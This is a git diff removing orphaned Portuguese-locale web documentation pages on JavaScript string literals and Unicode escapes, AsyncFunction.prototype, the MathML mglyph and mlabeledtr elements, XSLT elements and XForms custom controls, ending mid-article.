-document.write(car.special); // Toyota
-</pre>
-
-<p>Additionally, you can use a numeric or string literal for the name of a property or nest an object inside another. The following example uses these options.</p>
-
-<pre class="eval deki-transform">var car = { manyCars: {a: "Saab", "b": "Jeep"}, 7: "Mazda" };
-
-document.write(car.manyCars.b); // Jeep
-document.write(car[7]); // Mazda
-</pre>
-
-<p>Please note:</p>
-
-<pre class="eval deki-transform">var foo = {a: "alpha", 2: "two"};
-document.write(foo.a); // alpha
-document.write(foo[2]); // two
-//document.write(foo.2); // Error: missing ) after argument list
-//document.write(foo[a]); // Error: a is not defined
-document.write(foo["a"]); // alpha
-document.write(foo["2"]); // two
-</pre>
-
-<h3 id="Strings_literais"><a id="Strings literais" name="Strings literais">Strings literais</a></h3>
-
-<p>A string literal is zero or more characters enclosed in double (<code>"</code>) or single (<code>'</code>) quotation marks. A string must be delimited by quotation marks of the same type; that is, either both single quotation marks or both double quotation marks. The following are examples of string literals:</p>
-
-<ul>
- <li><code>"foo"</code></li>
- <li><code>'bar'</code></li>
- <li><code>"1234"</code></li>
- <li><code>"one line \n another line"</code></li>
- <li><code>"John's cat"</code></li>
-</ul>
-
-<p>You can call any of the methods of the String object on a string literal value—JavaScript automatically converts the string literal to a temporary String object, calls the method, then discards the temporary String object. You can also use the <code>String.length</code> property with a string literal:</p>
-
-<pre class="deki-transform">"John's cat".length
-</pre>
-
-<p>You should use string literals unless you specifically need to use a String object. See <a href="/en/JavaScript/Guide/Predefined_Core_Objects#String_Object" title="en/JavaScript/Guide/Predefined Core Objects#String Object">String Object</a> for details on <code>String</code> objects.</p>
-
-<h4 id="Usando_caracteres_especiais_em_strings">Usando caracteres especiais em strings</h4>
-
-<p>In addition to ordinary characters, you can also include special characters in strings, as shown in the following example.</p>
-
-<pre class="eval deki-transform">"one line \n another line"
-</pre>
-
-<p>The following table lists the special characters that you can use in JavaScript strings.</p>
-
-<table class="standard-table">
- <caption>Table 2.1 JavaScript special characters</caption>
- <thead>
- <tr>
- <th scope="col">Character</th>
- <th scope="col">Meaning</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>\b</code></td>
- <td>Backspace</td>
- </tr>
- <tr>
- <td><code>\f</code></td>
- <td>Form feed</td>
- </tr>
- <tr>
- <td><code>\n</code></td>
- <td>New line</td>
- </tr>
- <tr>
- <td><code>\r</code></td>
- <td>Carriage return</td>
- </tr>
- <tr>
- <td><code>\t</code></td>
- <td>Tab</td>
- </tr>
- <tr>
- <td><code>\v</code></td>
- <td>Vertical tab</td>
- </tr>
- <tr>
- <td><code>\'</code></td>
- <td>Apostrophe or single quote</td>
- </tr>
- <tr>
- <td><code>\"</code></td>
- <td>Double quote</td>
- </tr>
- <tr>
- <td><code>\\</code></td>
- <td>Backslash character (\).</td>
- </tr>
- <tr>
- <td><code>\<em>XXX</em></code></td>
- <td>The character with the Latin-1 encoding specified by up to three octal digits <em>XXX</em> between 0 and 377. For example, \251 is the octal sequence for the copyright symbol.</td>
- </tr>
- <tr>
- <td><code>\x<em>XX</em></code></td>
- <td>The character with the Latin-1 encoding specified by the two hexadecimal digits <em>XX</em> between 00 and FF. For example, \xA9 is the hexadecimal sequence for the copyright symbol.</td>
- </tr>
- <tr>
- <td><code>\u<em>XXXX</em></code></td>
- <td>The Unicode character specified by the four hexadecimal digits <em>XXXX</em>. For example, \u00A9 is the Unicode sequence for the copyright symbol. See <a href="#Sequências de escape em Unicode">Unicode Escape Sequences</a>.</td>
- </tr>
- </tbody>
-</table>
-
-<h4 id="Caracteres_de_escape">Caracteres de escape</h4>
-
-<p>For characters not listed in Table 2.1, a preceding backslash is ignored, but this usage is deprecated and should be avoided.</p>
-
-<p>You can insert a quotation mark inside a string by preceding it with a backslash. This is known as <em>escaping</em> the quotation mark. For example:</p>
-
-<pre class="eval deki-transform">var quote = "He read \"The Cremation of Sam McGee\" by R.W. Service.";
-document.write(quote);
-</pre>
-
-<p>The result of this would be:</p>
-
-<pre class="eval">He read "The Cremation of Sam McGee" by R.W. Service.
-</pre>
-
-<p>To include a literal backslash inside a string, you must escape the backslash character. For example, to assign the file path <code>c:\temp</code> to a string, use the following:</p>
-
-<pre class="eval deki-transform">var home = "c:\\temp";
-</pre>
-
-<p>You can also escape line breaks by preceding them with backslash.  The backslash and line break are both removed from the value of the string.</p>
-
-<pre>var str = "this string \
-is broken \
-across multiple\
-lines."</pre>
-
-<p>Although JavaScript does not have "heredoc" syntax, you can get close by adding a linebreak escape and an escaped linebreak at the end of each line:</p>
-
-<pre>var poem =
-"Roses are red,\n\
-Violets are blue.\n\
-I'm schizophrenic,\n\
-And so am I."
-</pre>
-
-<h2 id="Unicode">Unicode</h2>
-
-<p>Unicode is a universal character-coding standard for the interchange and display of principal written languages. It covers the languages of the Americas, Europe, Middle East, Africa, India, Asia, and Pacifica, as well as historic scripts and technical symbols. Unicode allows for the exchange, processing, and display of multilingual texts, as well as the use of common technical and mathematical symbols. It hopes to resolve internationalization problems of multilingual computing, such as different national character standards. Not all modern or archaic scripts, however, are currently supported.</p>
-
-<p>The Unicode character set can be used for all known encoding. Unicode is modeled after the ASCII (American Standard Code for Information Interchange) character set. It uses a numerical value and name for each character. The character encoding specifies the identity of the character and its numeric value (code position), as well as the representation of this value in bits. The 16-bit numeric value (code value) is defined by a hexadecimal number and a prefix U, for example, U+0041 represents A. The unique name for this value is LATIN CAPITAL LETTER A.</p>
-
-<p><strong>Unicode is not supported in versions of JavaScript prior to 1.3.</strong></p>
-
-<h3 id="Compatibilidade_do_Unicode_com_ASCII_e_ISO">Compatibilidade do Unicode com ASCII e ISO</h3>
-
-<p>Unicode is fully compatible with the International Standard ISO/IEC 10646-1; 1993, which is a subset of ISO 10646.</p>
-
-<p>Several encoding standards (including UTF-8, UTF-16 and ISO UCS-2) are used to physically represent Unicode as actual bits.</p>
-
-<p>The UTF-8 encoding of Unicode is compatible with ASCII characters and is supported by many programs. The first 128 Unicode characters correspond to the ASCII characters and have the same byte value. The Unicode characters U+0020 through U+007E are equivalent to the ASCII characters 0x20 through 0x7E. Unlike ASCII, which supports the Latin alphabet and uses a 7-bit character set, UTF-8 uses between one and four octets for each character ("octet" meaning a byte, or 8 bits.) This allows for several million characters. An alternative encoding standard, UTF-16, uses two octets to represent Unicode characters. An escape sequence allows UTF-16 to represent the whole Unicode range by using four octets. The ISO UCS-2 (Universal Character Set) uses two octets.</p>
-
-<p>JavaScript and Navigator support for UTF-8/Unicode means you can use non-Latin, international, and localized characters, plus special technical symbols in JavaScript programs. Unicode provides a standard way to encode multilingual text. Since the UTF-8 encoding of Unicode is compatible with ASCII, programs can use ASCII characters. You can use non-ASCII Unicode characters in the comments, string literals, identifiers, and regular expressions of JavaScript.</p>
-
-<h3 id="Sequências_de_escape_em_Unicode"><a id="Sequências de escape em Unicode" name="Sequências de escape em Unicode">Sequências de escape em Unicode</a></h3>
-
-<p>You can use the Unicode escape sequence in string literals, regular expressions, and identifiers. The escape sequence consists of six ASCII characters: \u and a four-digit hexadecimal number. For example, \u00A9 represents the copyright symbol. Every Unicode escape sequence in JavaScript is interpreted as one character.</p>
-
-<p>The following code returns the copyright symbol and the string "Netscape Communications".</p>
-
-<pre class="deki-transform">var x = "\u00A9 Netscape Communications";</pre>
-
-<p>The following table lists frequently used special characters and their Unicode value.</p>
-
-<table class="standard-table">
- <caption>Table 2.2 Unicode values for special characters</caption>
- <thead>
- <tr>
- <th scope="col">Category</th>
- <th scope="col">Unicode value</th>
- <th scope="col">Name</th>
- <th scope="col">Format name</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td rowspan="4">White space values<br>
-  <br>
-  <br>
-  </td>
- <td>\u0009</td>
- <td>Tab</td>
- <td>&lt;TAB&gt;</td>
- </tr>
- <tr>
- <td>\u000B</td>
- <td>Vertical Tab</td>
- <td>&lt;VT&gt;</td>
- </tr>
- <tr>
- <td>\u000C</td>
- <td>Form Feed</td>
- <td>&lt;FF&gt;</td>
- </tr>
- <tr>
- <td>\u0020</td>
- <td>Space</td>
- <td>&lt;SP&gt;</td>
- </tr>
- <tr>
- <td rowspan="2">Line terminator values<br>
-  </td>
- <td>\u000A</td>
- <td>Line Feed</td>
- <td>&lt;LF&gt;</td>
- </tr>
- <tr>
- <td>\u000D</td>
- <td>Carriage Return</td>
- <td>&lt;CR&gt;</td>
- </tr>
- <tr>
- <td rowspan="5">Additional Unicode escape sequence values<br>
-  <br>
-  <br>
-  <br>
-  </td>
- <td>\u0008</td>
- <td>Backspace</td>
- <td>&lt;BS&gt;</td>
- </tr>
- <tr>
- <td>\u0009</td>
- <td>Horizontal Tab</td>
- <td>&lt;HT&gt;</td>
- </tr>
- <tr>
- <td>\u0022</td>
- <td>Double Quote</td>
- <td>"</td>
- </tr>
- <tr>
- <td>\u0027</td>
- <td>Single Quote</td>
- <td>'</td>
- </tr>
- <tr>
- <td>\u005C</td>
- <td>Backslash</td>
- <td>\</td>
- </tr>
- </tbody>
-</table>
-
-<p>The JavaScript use of the Unicode escape sequence is different from Java. In JavaScript, the escape sequence is never interpreted as a special character first. For example, a line terminator escape sequence inside a string does not terminate the string before it is interpreted by the function. JavaScript ignores any escape sequence if it is used in comments. In Java, if an escape sequence is used in a single comment line, it is interpreted as an Unicode character. For a string literal, the Java compiler interprets the escape sequences first. For example, if a line terminator escape character (e.g., \u000A) is used in Java, it terminates the string literal. In Java, this leads to an error, because line terminators are not allowed in string literals. You must use \n for a line feed in a string literal. In JavaScript, the escape sequence works the same way as \n.</p>
-
-<h3 id="Caracteres_Unicode_em_arquivos_JavaScript">Caracteres Unicode em arquivos JavaScript</h3>
-
-<p>Earlier versions of <a href="/en/Gecko" title="en/Gecko">Gecko</a> assumed the Latin-1 character encoding for JavaScript files loaded from XUL. Starting with Gecko 1.8, the character encoding is inferred from the XUL file's encoding. Please see <a href="/en/International_characters_in_XUL_JavaScript" title="en/International_characters_in_XUL_JavaScript">International characters in XUL JavaScript</a> for more information.</p>
-
-<h3 id="Exibindo_caracteres_com_Unicode">Exibindo caracteres com Unicode</h3>
-
-<p>You can use Unicode to display the characters in different languages or technical symbols. For characters to be displayed properly, a client such as Mozilla Firefox or Netscape needs to support Unicode. Moreover, an appropriate Unicode font must be available to the client, and the client platform must support Unicode. Often, Unicode fonts do not display all the Unicode characters. Some platforms, such as Windows 95, provide partial support for Unicode.</p>
-
-<p>To receive non-ASCII character input, the client needs to send the input as Unicode. Using a standard enhanced keyboard, the client cannot easily input the additional characters supported by Unicode. Sometimes, the only way to input Unicode characters is by using Unicode escape sequences.</p>
-
-<p>For more information on Unicode, see the <a class="external" href="http://www.unicode.org/">Unicode Home Page</a> and The Unicode Standard, Version 2.0, published by Addison-Wesley, 1996.</p>
-
-<pre class="script" style="font-size: 16px;">autoPreviousNext("JSGChapters");</pre>
diff --git a/files/pt-pt/orphaned/web/javascript/o_que_é_o_javascript/index.html b/files/pt-pt/orphaned/web/javascript/o_que_é_o_javascript/index.html
deleted file mode 100644
index a72d184560..0000000000
--- a/files/pt-pt/orphaned/web/javascript/o_que_é_o_javascript/index.html
+++ /dev/null
@@ -1,14 +0,0 @@
----
-title: O que é o JavaScript
-slug: orphaned/Web/JavaScript/O_que_é_o_JavaScript
-original_slug: Web/JavaScript/O_que_é_o_JavaScript
----
-<p>O JavaScript é uma linguagem de programação do lado <b>cliente</b>, ou seja, é processada pelo próprio navegador.
-Com o JavaScript podemos criar efeitos especiais para nossas páginas na Web, além
-de podermos proporcionar uma maior interatividade com nossos usuários.
-O JavaScript é uma linguagem orientada a objetos, ou seja, ela trata todos os elementos da página
-como objetos distintos, fascilitando a tarefa da programação.
-</p><p>Resumindo, o JavaScript é uma poderosa linguagem que deve ser dominada por quem deseja criar páginas Web dinamicas e interativas.
-</p><p><br>
---<a>rafael.marcondes92@gmail.com</a> 12:39, 14 Julho 2008 (PDT)
-</p>
diff --git a/files/pt-pt/orphaned/web/javascript/reference/global_objects/asyncfunction/prototype/index.html b/files/pt-pt/orphaned/web/javascript/reference/global_objects/asyncfunction/prototype/index.html
deleted file mode 100644
index 34234afe31..0000000000
--- a/files/pt-pt/orphaned/web/javascript/reference/global_objects/asyncfunction/prototype/index.html
+++ /dev/null
@@ -1,56 +0,0 @@
----
-title: AsyncFunction.prototype
-slug: orphaned/Web/JavaScript/Reference/Global_Objects/AsyncFunction/prototype
-translation_of: Web/JavaScript/Reference/Global_Objects/AsyncFunction/prototype
-original_slug: Web/JavaScript/Reference/Global_Objects/AsyncFunction/prototype
----
-<div>{{JSRef}}</div>
-
-<p>A propriedade <code><strong>AsyncFunction.prototype</strong></code> representa o objecto <em>prototype</em> {{jsxref("AsyncFunction")}}.</p>
-
-<h2 id="Description">Description</h2>
-
-<p>Os objectos {{jsxref("AsyncFunction")}} são herdados de <code>AsyncFunction.prototype</code> e não podem ser modificados.</p>
-
-<h2 id="Propriedades">Propriedades</h2>
-
-<dl>
- <dt><code><strong>AsyncFunction.constructor</strong></code></dt>
- <dd>O valor inicial é {{jsxref("AsyncFunction")}}.</dd>
- <dt><code><strong>AsyncFunction.prototype[@@toStringTag]</strong></code></dt>
- <dd>Retorna "AsyncFunction".</dd>
-</dl>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Specification</th>
- <th scope="col">Status</th>
- <th scope="col">Comment</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{SpecName('ESDraft', '#sec-async-function-constructor-prototype', 'AsyncFunction.prototype')}}</td>
- <td>{{Spec2('ESDraft')}}</td>
- <td>Definição inicial ES2017.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_entre_navegadores">Compatibilidade entre navegadores</h2>
-
-<div>
-
-
-<p>{{Compat("javascript.builtins.AsyncFunction.prototype")}}</p>
-</div>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li>{{jsxref("AsyncFunction")}}</li>
- <li>{{jsxref("Function")}}</li>
-</ul>
diff --git a/files/pt-pt/orphaned/web/mathml/element/mglyph/index.html b/files/pt-pt/orphaned/web/mathml/element/mglyph/index.html
deleted file mode 100644
index a8d5b18857..0000000000
--- a/files/pt-pt/orphaned/web/mathml/element/mglyph/index.html
+++ /dev/null
@@ -1,73 +0,0 @@
----
-title: <mglyph>
-slug: orphaned/Web/MathML/Element/mglyph
-tags:
- - MathML
- - MathML:Element
- - Referência de MathML
-translation_of: Web/MathML/Element/mglyph
-original_slug: Web/MathML/Element/mglyph
----
-<div>{{MathMLRef}}</div>
-
-<p class="summary">O elemento de MathML <code>&lt;mglyph&gt;</code> é usado para apresentar símbolos sem carateres de Unicode disponíveis. Pode ser usado dentro de <em><a href="/pt-PT/docs/tag/MathML:Token Elements">token elements</a></em>.</p>
-
-<h2 id="Atributos">Atributos</h2>
-
-<dl>
- <dt id="attr-alt">alt</dt>
- <dd>Este atributo define o texto alternativo que descreve a imagem. Os utilizadores verão isto apresentado se o URL da imagem estiver errado, se a imagem não estiver num dos <a href="/en-US/docs/HTML/Element/Img#Supported_image_formats">formatos suportados</a>, ou até a imagem ser descarregada.</dd>
- <dt id="attr-class-id-style">class, id, style</dt>
- <dd>Para uso com <em><a href="/en-US/docs/CSS">stylesheets</a></em>.</dd>
- <dt id="attr-height">height</dt>
- <dd>A altura da imagem.</dd>
- <dt id="attr-href">href</dt>
- <dd>Usado para criar uma hiperligação para um URI.</dd>
- <dt id="attr-mathbackground">mathbackground</dt>
- <dd>A cor de fundo (se a imagem tem transparência). Pode usar <code>#rgb</code>, <code>#rrggbb</code> e <a href="https://wiki.developer.mozilla.org/en-US/docs/CSS/color_value#Color_Keywords">nomes de cores de HTML</a>.</dd>
- <dt id="attr-src">src</dt>
- <dd>O URL da imagem.</dd>
- <dt id="attr-valign">valign</dt>
- <dd>Indica o alinhamento vertical com respeito à linha de base atual.</dd>
- <dt id="attr-width">width</dt>
- <dd>A largura da imagem.</dd>
-</dl>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<pre class="brush: html notranslate">&lt;math&gt;
- &lt;mi&gt;&lt;mglyph src="my-glyph.png" alt="my glyph"/&gt;&lt;/mi&gt;
-&lt;/math&gt;
-</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{ SpecName('MathML3', 'chapter3.html#presm.mglyph', 'mglyph') }}</td>
- <td>{{ Spec2('MathML3') }}</td>
- <td>Especificação atual</td>
- </tr>
- <tr>
- <td>{{ SpecName('MathML2', 'chapter3.html#presm.mglyph', 'mglyph') }}</td>
- <td>{{ Spec2('MathML2') }}</td>
- <td>Especificação inicial</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade">Compatibilidade</h2>
-
-
-
-
-
-<p>{{Compat("mathml.elements.mglyph")}}</p>
diff --git a/files/pt-pt/orphaned/web/mathml/element/mlabeledtr/index.html b/files/pt-pt/orphaned/web/mathml/element/mlabeledtr/index.html
deleted file mode 100644
index bb8ffe4808..0000000000
--- a/files/pt-pt/orphaned/web/mathml/element/mlabeledtr/index.html
+++ /dev/null
@@ -1,100 +0,0 @@
----
-title: <mlabeledtr>
-slug: orphaned/Web/MathML/Element/mlabeledtr
-tags:
- - MathML
- - MathML:Element
- - MathML:Tabular Math
- - Referência de MathML
-translation_of: Web/MathML/Element/mlabeledtr
-original_slug: Web/MathML/Element/mlabeledtr
----
-<div>{{MathMLRef}}</div>
-
-<p>O elemento MathML <code>&lt;mlabeledtr&gt;</code> é utilizado para representar um rótulo/etiqueta numa fila quer do lado esquerdo, quer do direito (determinado utilizando o atributo <code>side</code> no elemento {{MathMLElement("mtable") }}). Os elementos criança de <code>&lt;mlabeledtr&gt;</code> devem ser {{MathMLElement("mtd") }} elementos. A primeira criança é o rótulo, enquanto todas as outras crianças representam conteúdos de linha e são tratadas de forma idêntica às crianças de elementos {{MathMLElement("mtr") }}.</p>
-
-<h2 id="Atributos">Atributos</h2>
-
-<dl>
- <dt id="attr-class-id-style">class, id, style</dt>
- <dd>Para uso com <em><a href="/en-US/docs/CSS">stylesheets</a></em>.</dd>
- <dt id="attr-columnalign">columnalign</dt>
- <dd>Indica o alinhamento horizontal desta célula e sobrepõe o valor especificado por {{ MathMLElement("mtable") }}.<br>
- Os valores possíveis são: <code>left</code>, <code>center</code> e <code>right</code>.</dd>
- <dt>groupalign</dt>
- <dd>{{ unimplemented_inline() }}</dd>
- <dt id="attr-href">href</dt>
- <dd>Usado para criar uma hiperligação para um URI.</dd>
- <dt id="attr-mathbackground">mathbackground</dt>
- <dd>A cor de fundo. Pode usar <code>#rgb</code>, <code>#rrggbb</code> e <a class="external external-icon" href="https://wiki.developer.mozilla.org/en-US/docs/CSS/color_value#Color_Keywords" rel="noopener">nomes de cores de HTML</a>.</dd>
- <dt id="attr-mathcolor">mathcolor</dt>
- <dd>A cor do texto. Pode usar <code>#rgb</code>, <code>#rrggbb</code> e <a class="external external-icon" href="https://wiki.developer.mozilla.org/en-US/docs/CSS/color_value#Color_Keywords" rel="noopener">nomes de cores de HTML</a>.</dd>
- <dt id="attr-rowalign">rowalign</dt>
- <dd>Indica o alinhamento vertical desta célula e sobrepõe o valor especificado por {{ MathMLElement("mtable") }}.<br>
- Os valores possíveis são: <code>axis</code>, <code>baseline</code>, <code>bottom</code>, <code>center</code> e <code>top</code>.</dd>
-</dl>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<p>Exemplo: <img alt="sample rendering for mlabeledtr" src="/files/3590/mlabeledtr.png" style="margin-left: 10px; vertical-align: middle;"></p>
-
-<pre class="brush: html notranslate">&lt;math&gt;
- &lt;mtable&gt;
-
- &lt;mlabeledtr&gt;
-  &lt;mtd&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;/mtd&gt; &lt;!-- label --&gt;
-     &lt;mtd&gt;&lt;mi&gt;A&lt;/mi&gt;&lt;/mtd&gt;
-     &lt;mtd&gt;&lt;mi&gt;B&lt;/mi&gt;&lt;/mtd&gt;
-   &lt;/mlabeledtr&gt;
-
-    &lt;mtr&gt;
-      &lt;mtd&gt;&lt;mi&gt;C&lt;/mi&gt;&lt;/mtd&gt;
-      &lt;mtd&gt;&lt;mi&gt;D&lt;/mi&gt;&lt;/mtd&gt;
-      &lt;mtd&gt;&lt;mi&gt;E&lt;/mi&gt;&lt;/mtd&gt;
-    &lt;/mtr&gt;
-
-  &lt;/mtable&gt;
-&lt;/math&gt;
-</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{ SpecName('MathML3', 'chapter3.html#presm.mlabeledtr', 'mlabeledtr') }}</td>
- <td>{{ Spec2('MathML3') }}</td>
- <td>Especificação atual</td>
- </tr>
- <tr>
- <td>{{ SpecName('MathML2', 'chapter3.html#presm.mlabeledtr', 'mlabeledtr') }}</td>
- <td>{{ Spec2('MathML2') }}</td>
- <td>Especificação inicial</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade">Compatibilidade</h2>
-
-
-
-<p>{{Compat("mathml.elements.mlabeledtr")}}</p>
-
-<h2 id="Notas_para_Gecko">Notas para Gecko</h2>
-
-<p>A começar com Gecko 9.0 {{ geckoRelease("9.0") }} etiquetas são escondidas por pré-definição (<code>mlabeledtr &gt; mtd:first-child {display: none}</code>) e não estragam a apresentação de tabelas por completo (ver {{ bug("356870") }}). Para ver a implementação deste elemento veja {{ bug("689641") }}.</p>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li>{{ MathMLElement("mtable") }} (Tabela)</li>
- <li>{{ MathMLElement("mtd") }} (Célula de tabela)</li>
- <li>{{ MathMLElement("mtr") }} (Fila de Tabela)</li>
-</ul>
diff --git a/files/pt-pt/orphaned/web/xslt/comunidade/index.html b/files/pt-pt/orphaned/web/xslt/comunidade/index.html
deleted file mode 100644
index dd75cb7d13..0000000000
--- a/files/pt-pt/orphaned/web/xslt/comunidade/index.html
+++ /dev/null
@@ -1,9 +0,0 @@
----
-title: Comunidade
-slug: orphaned/Web/XSLT/Comunidade
-original_slug: Web/XSLT/Comunidade
----
-<p>Grupo XSLT Portugal
-</p><p>Onde XSLT é discutido em português para os portugueses. Este grupo dispõe de soluções práticas para problemas comums em XSLT e XPath, assim como, auxiliar principiantes ou menos experientes a resolverem problemas. </p><p>Embora o grupo seja dedicado especialmente ao XSLT, não quer dizer que outras tecnologias directamente ligadas não possam ser discutidas, tais como: XML, XPath, XQuery, XML Schema, Schematron, HTML, RSS, CSS, AJAX, etc. </p><p>Claro que seria preferível discutir o uso de tecnologias em que predomine o XSLT.
-</p><p><a href="http://groups.google.com/group/xslt-portugal" class=" external" rel="freelink">http://groups.google.com/group/xslt-portugal</a>
-</p>
diff --git a/files/pt-pt/orphaned/web/xslt/elementos/index.html b/files/pt-pt/orphaned/web/xslt/elementos/index.html
deleted file mode 100644
index 083151d385..0000000000
--- a/files/pt-pt/orphaned/web/xslt/elementos/index.html
+++ /dev/null
@@ -1,60 +0,0 @@
----
-title: Elementos
-slug: orphaned/Web/XSLT/Elementos
-tags:
- - Referência_XSLT
-original_slug: Web/XSLT/Elementos
----
-<p>
-{{ XsltRef() }}
-Existem dois tipos de elementos discutidos aqui: elementos de topo de nível e instruções. Um elemento de topo de nível deve aparecer como filho de qualquer <code>&lt;xsl:stylesheet&gt;</code> ou <code>&lt;xsl:transform&gt;</code>. Uma instrução, por outro lado, é associada com o modelo. Uma folha de estilo pode incluir vários modelos. Um terceiro tipo de elemento, não discutido aqui, é o elemento literal do resultado (LRE). Um LRE também aparece em um modelo. Ele consiste em qualquer elemento não-instrução que deva ser copiado como é para o resultado do documento, por exemplo, o elemento <code>&lt;hr&gt;</code> em uma folha de estilo de conversão HTML.
-</p><p>Em uma nota relacionada, qualquer atributo em uma LRE e alguns atributos de um número limitado de elementos XSLT podem também ser incluídos como o valor de um atributo do modelo. Um valor de atributo do modelo é simplesmente uma string que inclui uma expressão XPath encaixada que é usada para especificar o valor de um atributo. Na hora de rodar a expressão é avaliada e o resulta da avaliação é substituido pela expressão XPath. Por exemplo, assumindo que a variável "&lt;tt&gt;image-dir&lt;/tt&gt;" é definida pelo seguinte:
-</p>
-<pre>&lt;xsl:variable name="image-dir"&gt;/images&lt;/xsl:variable&gt;</pre>
-<p>A expressão para ser avaliada é colocada no interior de chaves:
-</p>
-<pre>&lt;img src="{$image-dir}/mygraphic.jpg"/&gt;</pre>
-<p>Isto resultaria no seguinte:
-</p>
-<pre>&lt;img src="/images/mygraphic.jpg"/&gt;</pre>
-<p>As anotações do elemento que seguem incluem uma descrição, uma lista de sintaxe, uma lista de atributos requeridos e opcionais, uma descrição do tipo e posição, seu código na W3C Recommendation e uma explanação dos graus presentes do suporte Gecko.
-</p>
-<ul><li> <a href="pt/XSLT/apply-imports">xsl:apply-imports</a>
-</li><li> <a href="pt/XSLT/apply-templates">xsl:apply-templates</a>
-</li><li> <a href="pt/XSLT/attribute">xsl:attribute</a>
-</li><li> <a href="pt/XSLT/attribute-set">xsl:attribute-set</a>
-</li><li> <a href="pt/XSLT/call-template">xsl:call-template</a>
-</li><li> <a href="pt/XSLT/choose">xsl:choose</a>
-</li><li> <a href="pt/XSLT/comment">xsl:comment</a>
-</li><li> <a href="pt/XSLT/copy">xsl:copy</a>
-</li><li> <a href="pt/XSLT/copy-of">xsl:copy-of</a>
-</li><li> <a href="pt/XSLT/decimal-format">xsl:decimal-format</a>
-</li><li> <a href="pt/XSLT/element">xsl:element</a>
-</li><li> <a href="pt/XSLT/fallback">xsl:fallback</a> <i>(não suportado)</i>
-</li><li> <a href="pt/XSLT/for-each">xsl:for-each</a>
-</li><li> <a href="pt/XSLT/if">xsl:if</a>
-</li><li> <a href="pt/XSLT/import">xsl:import</a> <i>(suportado na maior parte)</i>
-</li><li> <a href="pt/XSLT/include">xsl:include</a>
-</li><li> <a href="pt/XSLT/key">xsl:key</a>
-</li><li> <a href="pt/XSLT/message">xsl:message</a>
-</li><li> <a href="pt/XSLT/namespace-alias">xsl:namespace-alias</a> <i>(não suportado)</i>
-</li><li> <a href="pt/XSLT/number">xsl:number</a> <i>(parcialmente suportado)</i>
-</li><li> <a href="pt/XSLT/otherwise">xsl:otherwise</a>
-</li><li> <a href="pt/XSLT/output">xsl:output</a> <i>(parcialmente suportado)</i>
-</li><li> <a href="pt/XSLT/param">xsl:param</a>
-</li><li> <a href="pt/XSLT/preserve-space">xsl:preserve-space</a>
-</li><li> <a href="pt/XSLT/processing-instruction">xsl:processing-instruction</a>
-</li><li> <a href="pt/XSLT/sort">xsl:sort</a>
-</li><li> <a href="pt/XSLT/strip-space">xsl:strip-space</a>
-</li><li> <a href="pt/XSLT/stylesheet">xsl:stylesheet</a> <i>(parcialmente suportado)</i>
-</li><li> <a href="pt/XSLT/template">xsl:template</a>
-</li><li> <a href="pt/XSLT/text">xsl:text</a> <i>(parcialmente suportado)</i>
-</li><li> <a href="pt/XSLT/transform">xsl:transform</a>
-</li><li> <a href="pt/XSLT/value-of">xsl:value-of</a> <i>(parcialmente suportado)</i>
-</li><li> <a href="pt/XSLT/variable">xsl:variable</a>
-</li><li> <a href="pt/XSLT/when">xsl:when</a>
-</li><li> <a href="pt/XSLT/with-param">xsl:with-param</a>
-</li></ul>
-<p><span class="comment">Categorias</span>
-</p><p><span class="comment">Interwiki Language Links</span>
-</p>{{ languages( { "en": "en/XSLT/Elements", "fr": "fr/XSLT/\u00c9l\u00e9ments", "ja": "ja/XSLT/Elements", "pl": "pl/XSLT/Elementy" } ) }}
diff --git a/files/pt-pt/orphaned/xforms/controles_customizados/index.html b/files/pt-pt/orphaned/xforms/controles_customizados/index.html
deleted file mode 100644
index 0f427204e1..0000000000
--- a/files/pt-pt/orphaned/xforms/controles_customizados/index.html
+++ /dev/null
@@ -1,273 +0,0 @@
----
-title: XForms Custom Controls
-slug: orphaned/XForms/Controles_Customizados
-tags:
- - XForms
-original_slug: XForms/Controles_Customizados
----
-<p> </p>
-<h3 id="Proposta"> Proposta </h3>
-<p>Se você quer criar suas próprias formas dos controles XForm como <code>input</code>, <code>output</code>, <code>trigger</code>, etc., você está no lugar certo. Vamos mostrar tambem como criar controles que funcionam com o modelo XForms e são automaticamente atualizados como os controles XForms. A proposta deste artigo é de fornecer informações suficientes para permitir-lhe um bom início. Para realmente entender as seguintes informações é necessário um bom entendimento de <a href="pt/XForms">XForms</a>, <a href="pt/XBL">XBL</a>, <a href="pt/JavaScript">JavaScript</a> e <a href="pt/CSS">CSS</a>. Conhecimentos em <a href="pt/XPCOM">XPCOM</a> certamente não farão mal. Mas mesmo que você tenha conhecimentos em sómente algumas destas tecnologias, esperamos que as possibilidades delineadas abaixo o inspirem a aprender mais onde fôr necessário.
-</p>
-<h3 id="Status_de_implementa.C3.A7.C3.A3o"> Status de implementação </h3>
-<p>O sistema que usamos no processador Mozilla XForms é muito um "trabalho em andamento". Por favor mantenha em mente que tudo que mencionamos aqui pode mudar de algum maneira assim que continuamos a trabalhar no assunto. O trabalho já começou no <a class="external" href="http://www.w3.org/MarkUp/Forms/#wg">W3C XForms Working Group</a> a investigar o assunto de controles customizadas, assim eventualmente (esperamos?)que vai existir um caminho "oficial" e comum de customizar suas máscaras de interface de usuário em todos os processadores XForm.
-</p>
-<h3 id="Porque_.C3.A9_necess.C3.A1rio"> Porque é necessário </h3>
-<p>Você provávelmente vai achar que suas necessidades de customização se encaixam numa das seguintes categorias:
-</p>
